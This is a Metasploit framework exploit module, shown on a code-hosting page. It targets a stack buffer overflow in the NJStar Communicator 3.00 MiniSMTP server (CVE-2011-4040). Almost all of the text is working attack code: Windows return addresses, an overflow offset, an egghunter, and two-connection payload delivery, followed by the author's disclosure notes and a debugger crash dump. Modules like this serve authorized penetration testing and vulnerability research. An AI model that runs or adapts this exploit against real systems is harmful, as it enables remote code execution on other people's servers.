Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smtp/njstar_smtp_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Egghunter1011def initialize(info = {})12super(update_info(info,13'Name' => 'NJStar Communicator 3.00 MiniSMTP Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow vulnerability in NJStar Communicator16Version 3.00 MiniSMTP server. The MiniSMTP application can be seen in multiple17NJStar products, and will continue to run in the background even if the18software is already shutdown. According to the vendor's testimonials,19NJStar software is also used by well known companies such as Siemens, NEC,20Google, Yahoo, eBay; government agencies such as the FBI, Department of21Justice (HK); as well as a long list of universities such as Yale, Harvard,22University of Tokyo, etc.23},24'License' => MSF_LICENSE,25'Author' =>26[27'Dillon Beresford', # Original discovery and MSF Module.28],29'References' =>30[31[ 'OSVDB', '76728' ],32[ 'CVE', '2011-4040' ],33[ 'URL', 'http://www.njstar.com/cms/njstar-communicator' ],34[ 'EDB', '18057' ]35],36'DefaultOptions' =>37{38'EXITFUNC' => 'thread',39},40'Platform' => 'win',41'Payload' =>42{43'BadChars' => "\x00",44'StackAdjustment' => -1500,45},46'Targets' =>47[48[49'Windows XP SP2/SP3',50{51'Ret' => 0x77c35459, # PUSH ESP; RETN (MSVCRT.dll)52'Offset' => 247,53}54],55[56# Can't test patch level on this one, because you can't57# even update Win2k3 SP0 anymore from Windows Update58'Windows Server 2003 SP0',59{60'Ret' => 0x77d20738, # JMP ESP (USER32.dll)61'Offset' => 247,62}63],64[65'Windows Server 2003 SP1/SP2',66{67'Ret' => 0x77BE2265, # PUSH ESP; RETN (MSVCRT.dll)68'Offset' => 247,69}70]71],72'Privileged' => false,73'DisclosureDate' => '2011-10-31',74'DefaultTarget' => 0))7576register_options([Opt::RPORT(25)])77end7879def check80connect81# We get a response like: "220 [host-name] Service Ready"82# But we don't really care about this one83res = sock.get_once(-1, 5)84vprint_status("Banner: #{res.to_s.chop}")8586sock.puts("HELP\r\n")8788# But the HELP response will tell us if this is a NJStar SMTP or not89res = sock.get_once(-1, 5)90vprint_status("HELP Response: #{res.to_s.chop}")91disconnect9293# I can only flag it as "Detected" because it doesn't return a version94if res =~ /Windows E-mail Server From NJStar Software/i95return Exploit::CheckCode::Detected96end9798return Exploit::CheckCode::Safe99end100101def exploit102eggoptions =103{104:checksum => true,105:eggtag => "w00t"106}107108hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)109110buffer = rand_text(target['Offset'])111buffer << [target.ret].pack('V')112buffer << hunter113buffer << make_nops(4)114115# Just some debugging output so we can see lengths and byte size of each of our buffer.116vprint_status("egg: %u bytes: \n" % egg.length + Rex::Text.to_hex_dump(egg))117vprint_status("hunter: %u bytes: \n" % hunter.length + Rex::Text.to_hex_dump(hunter))118vprint_status("buffer: %u bytes:\n" % buffer.length + Rex::Text.to_hex_dump(buffer))119120print_status("Trying target #{target.name}...")121122# har har har you get trick no treat...123# we dont have very much space so we124# send our egg in a seperate connection125connect126127print_status("Sending the egg...")128sock.put(egg)129130# I think you betta call, ghostbusters...131# now we send our evil buffer along with the132# egg hunter, we are doing multiple connections133# to solve the issue with limited stack space.134# thanks to bannedit for advice on threads and135# making multiple connections to get around136# stack space constraints. :)137connect138139print_status("Sending our buffer containing the egg hunter...")140sock.put(buffer)141142handler143disconnect144end145end146147148=begin149Dillon Beresford150https://twitter.com/#!/D1N151152NJStar Communicator153Version: 3.00 and prior154Build: 11818 and prior155156Tested minismtp version:1571.30.0.60218158159Shouts to bannedit, sinn3r, rick2600, tmanning, corelanc0d3r, jcran,160manils, d0tslash, mublix, halsten, and everyone at AHA!161162No response as of 10/31/11 from AUSCERT or the software vendor. CNCERT and USCERT responded163on 10/30/11 and 10/31/11, CNCERT said in an email they needed to see if the vulnerability164is remotely exploitable and needed more verification. I sent a proof of concept exploit165in python with remote code execution. So, here is the proof that the bug is, in fact,166remotely exploitable. WIN!167168System DLLs are used for target.ret because minismtp.exe is the only NJStar component in169memory, and its base starts with a 0x00, that's no good. However, if your target machine170started minismtp from the Windows start menu (Start -> All Programs -> NJStar Communicator171-> NJStar MiniSmtp), it'd actually load up more DLLs. And one of them -- MSVCR100.dll -- is172ideal enough to use (No rebase, starts with a high address, but there is an ASLR flag).173174eax=00000000 ebx=00417bf8 ecx=00002745 edx=00000000 esi=008a3e50175edi=008a3d80176eip=42424242 esp=00ccff70 ebp=7c8097d0 iopl=0 nv up ei pl nz na pe nc177cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000178efl=0001020617942424242 ?? ???1800:003> !exchain181image00400000+bbc4 (0040bbc4)18200ccff00: 41414141183Invalid exception stack at 414141411840:003> d esp18500ccff70 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD18600ccff80 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD18700ccff90 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD18800ccffa0 44 44 44 44 00 ff cc 00-c4 bb 40 00 20 23 41 00 DDDD......@. #A.18900ccffb0 00 00 00 00 ec ff cc 00-29 b7 80 7c b8 3d 8a 00 ........)..|.=..19000ccffc0 00 00 00 00 00 00 00 00-b8 3d 8a 00 00 c0 fd 7f .........=......19100ccffd0 00 d6 e3 89 c0 ff cc 00-98 08 99 89 ff ff ff ff ................19200ccffe0 d8 9a 83 7c 30 b7 80 7c-00 00 00 00 00 00 00 00 ...|0..|........193194=end195196197